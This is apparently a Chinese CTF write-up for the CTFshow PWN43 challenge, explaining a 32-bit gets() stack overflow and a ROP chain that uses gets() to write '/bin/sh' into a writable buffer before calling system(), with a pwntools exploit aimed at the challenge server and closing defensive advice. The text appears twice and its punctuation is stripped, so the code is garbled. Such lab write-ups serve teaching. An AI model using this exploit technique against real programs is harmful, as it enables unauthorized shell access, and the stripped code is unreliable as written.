CTFshow PWN43通关实录当system函数没有/bin/sh时我是如何手动“造”一个的在CTF的PWN类题目中遇到有system函数但没有/bin/sh字符串的情况并不罕见。这种看似简单的限制条件往往会让初学者感到无从下手。本文将从一个真实的解题视角出发带你一步步探索如何在内存中无中生有地构造出我们需要的字符串最终实现系统命令执行。1. 问题分析与初步思路拿到这道题目时我首先用checksec检查了程序的基本信息$ checksec pwn43 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出可以看出这是一个32位程序没有栈保护No canary但开启了NX保护堆栈不可执行。这意味着我们不能直接在栈上执行shellcode必须寻找其他方法。用IDA反编译后我发现了关键函数ctfshow()char *ctfshow() { char s[104]; // [esp0h] [ebp-6Ch] BYREF return gets(s); }这里有几个重要发现使用了不安全的gets()函数存在明显的栈溢出漏洞程序中有system()函数地址0x8048450但搜索整个程序找不到/bin/sh或sh字符串2. 内存布局探索与可写区域定位既然程序中没有现成的/bin/sh我们就需要自己写入这个字符串。但写入到哪里呢这需要我们对程序的内存布局有清晰的认识。使用gdb调试程序查看内存映射gdb-peda$ vmmap Start End Perm Name 0x8048000 0x8049000 r-xp /home/ctfshow/pwn43 0x8049000 0x804a000 r--p /home/ctfshow/pwn43 0x804a000 0x804b000 rw-p /home/ctfshow/pwn43 0x804b000 0x804d000 rw-p [heap]重点关注具有可写权限rw-p的内存区域。在0x804b000-0x804d000这段内存中我发现了一个全局变量buf2地址为0x804b060。这个地址非常适合用来存储我们需要的字符串。3. 利用链设计与payload构造现在我们需要解决两个问题如何将/bin/sh写入到buf2的地址如何让system()函数使用这个字符串作为参数解决方案是构造一个ROP链利用程序中已有的gets()函数地址0x8048420来实现字符串写入。完整的利用思路如下通过栈溢出覆盖返回地址跳转到gets()函数让gets()从标准输入读取数据写入到buf2地址gets()执行完毕后返回到system()函数system()以buf2地址作为参数执行对应的payload结构如下组成部分说明a*(0x6c4)填充缓冲区覆盖到返回地址p32(gets_addr)覆盖返回地址为gets()函数p32(system_addr)gets()的返回地址即下一步执行system()p32(buf2_addr)gets()的参数指定写入位置p32(buf2_addr)system()的参数即/bin/sh字符串地址用pwntools实现的完整expfrom pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28227) offset 0x6c 4 system_addr 0x8048450 buf2_addr 0x804b060 gets_addr 0x8048420 payload flat( ba*offset, gets_addr, system_addr, buf2_addr, buf2_addr ) p.sendline(payload) p.sendline(b/bin/sh\x00) p.interactive()4. 关键细节与调试技巧在实际操作中有几个容易出错的地方需要特别注意字符串终止符发送/bin/sh时记得加上\x00作为终止符否则system()可能会读取到额外数据参数对齐32位程序调用约定是参数从右向左压栈返回地址后紧跟参数调试技巧可以使用gdb的cyclic工具确定偏移量配合vmmap验证内存权限调试时可以这样设置断点gdb-peda$ b *0x8048450 # system()函数入口 gdb-peda$ b *0x8048420 # gets()函数入口然后观察栈布局和寄存器值确保payload按预期执行。5. 扩展思考与替代方案除了上述方法这道题还有几种可能的解决思路环境变量注入如果程序调用了system()但没有指定完整路径可以尝试污染PATH环境变量其他可写段除了.bss段也可以考虑写入到其他可写区域如堆空间参数拼接如果空间有限可以尝试分多次写入字符串的不同部分比较不同方法的优缺点方法优点缺点.bss段写入稳定可靠需要找到合适的全局变量堆空间利用空间较大需要先分配堆内存环境变量不需要写入依赖程序调用方式在实际CTF比赛中第一种方法通常是最可靠的因为.bss段的地址固定且容易定位。6. 防御措施与安全启示从防御角度看这道题展示了几个重要的安全原则永远不要使用gets()这是最危险的标准库函数之一应该用fgets()替代最小权限原则内存区域应该只赋予必要的权限避免可写又可执行参数验证即使是使用system()也应该对参数进行严格过滤开发者可以通过以下方式加固程序// 安全的输入方式 char buf[100]; if (fgets(buf, sizeof(buf), stdin) NULL) { // 错误处理 } buf[strcspn(buf, \n)] \0; // 移除换行符 // 安全的命令执行 execl(/bin/sh, sh, (char *)NULL);这道题虽然简单但很好地展示了从漏洞发现到利用的完整链条。通过手动构造字符串的过程我对程序内存布局和函数调用约定有了更深入的理解。在实际测试时建议先用本地调试确保payload正确再连接到远程服务器获取flag。
CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动“造”一个的
CTFshow PWN43通关实录当system函数没有/bin/sh时我是如何手动“造”一个的在CTF的PWN类题目中遇到有system函数但没有/bin/sh字符串的情况并不罕见。这种看似简单的限制条件往往会让初学者感到无从下手。本文将从一个真实的解题视角出发带你一步步探索如何在内存中无中生有地构造出我们需要的字符串最终实现系统命令执行。1. 问题分析与初步思路拿到这道题目时我首先用checksec检查了程序的基本信息$ checksec pwn43 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出可以看出这是一个32位程序没有栈保护No canary但开启了NX保护堆栈不可执行。这意味着我们不能直接在栈上执行shellcode必须寻找其他方法。用IDA反编译后我发现了关键函数ctfshow()char *ctfshow() { char s[104]; // [esp0h] [ebp-6Ch] BYREF return gets(s); }这里有几个重要发现使用了不安全的gets()函数存在明显的栈溢出漏洞程序中有system()函数地址0x8048450但搜索整个程序找不到/bin/sh或sh字符串2. 内存布局探索与可写区域定位既然程序中没有现成的/bin/sh我们就需要自己写入这个字符串。但写入到哪里呢这需要我们对程序的内存布局有清晰的认识。使用gdb调试程序查看内存映射gdb-peda$ vmmap Start End Perm Name 0x8048000 0x8049000 r-xp /home/ctfshow/pwn43 0x8049000 0x804a000 r--p /home/ctfshow/pwn43 0x804a000 0x804b000 rw-p /home/ctfshow/pwn43 0x804b000 0x804d000 rw-p [heap]重点关注具有可写权限rw-p的内存区域。在0x804b000-0x804d000这段内存中我发现了一个全局变量buf2地址为0x804b060。这个地址非常适合用来存储我们需要的字符串。3. 利用链设计与payload构造现在我们需要解决两个问题如何将/bin/sh写入到buf2的地址如何让system()函数使用这个字符串作为参数解决方案是构造一个ROP链利用程序中已有的gets()函数地址0x8048420来实现字符串写入。完整的利用思路如下通过栈溢出覆盖返回地址跳转到gets()函数让gets()从标准输入读取数据写入到buf2地址gets()执行完毕后返回到system()函数system()以buf2地址作为参数执行对应的payload结构如下组成部分说明a*(0x6c4)填充缓冲区覆盖到返回地址p32(gets_addr)覆盖返回地址为gets()函数p32(system_addr)gets()的返回地址即下一步执行system()p32(buf2_addr)gets()的参数指定写入位置p32(buf2_addr)system()的参数即/bin/sh字符串地址用pwntools实现的完整expfrom pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28227) offset 0x6c 4 system_addr 0x8048450 buf2_addr 0x804b060 gets_addr 0x8048420 payload flat( ba*offset, gets_addr, system_addr, buf2_addr, buf2_addr ) p.sendline(payload) p.sendline(b/bin/sh\x00) p.interactive()4. 关键细节与调试技巧在实际操作中有几个容易出错的地方需要特别注意字符串终止符发送/bin/sh时记得加上\x00作为终止符否则system()可能会读取到额外数据参数对齐32位程序调用约定是参数从右向左压栈返回地址后紧跟参数调试技巧可以使用gdb的cyclic工具确定偏移量配合vmmap验证内存权限调试时可以这样设置断点gdb-peda$ b *0x8048450 # system()函数入口 gdb-peda$ b *0x8048420 # gets()函数入口然后观察栈布局和寄存器值确保payload按预期执行。5. 扩展思考与替代方案除了上述方法这道题还有几种可能的解决思路环境变量注入如果程序调用了system()但没有指定完整路径可以尝试污染PATH环境变量其他可写段除了.bss段也可以考虑写入到其他可写区域如堆空间参数拼接如果空间有限可以尝试分多次写入字符串的不同部分比较不同方法的优缺点方法优点缺点.bss段写入稳定可靠需要找到合适的全局变量堆空间利用空间较大需要先分配堆内存环境变量不需要写入依赖程序调用方式在实际CTF比赛中第一种方法通常是最可靠的因为.bss段的地址固定且容易定位。6. 防御措施与安全启示从防御角度看这道题展示了几个重要的安全原则永远不要使用gets()这是最危险的标准库函数之一应该用fgets()替代最小权限原则内存区域应该只赋予必要的权限避免可写又可执行参数验证即使是使用system()也应该对参数进行严格过滤开发者可以通过以下方式加固程序// 安全的输入方式 char buf[100]; if (fgets(buf, sizeof(buf), stdin) NULL) { // 错误处理 } buf[strcspn(buf, \n)] \0; // 移除换行符 // 安全的命令执行 execl(/bin/sh, sh, (char *)NULL);这道题虽然简单但很好地展示了从漏洞发现到利用的完整链条。通过手动构造字符串的过程我对程序内存布局和函数调用约定有了更深入的理解。在实际测试时建议先用本地调试确保payload正确再连接到远程服务器获取flag。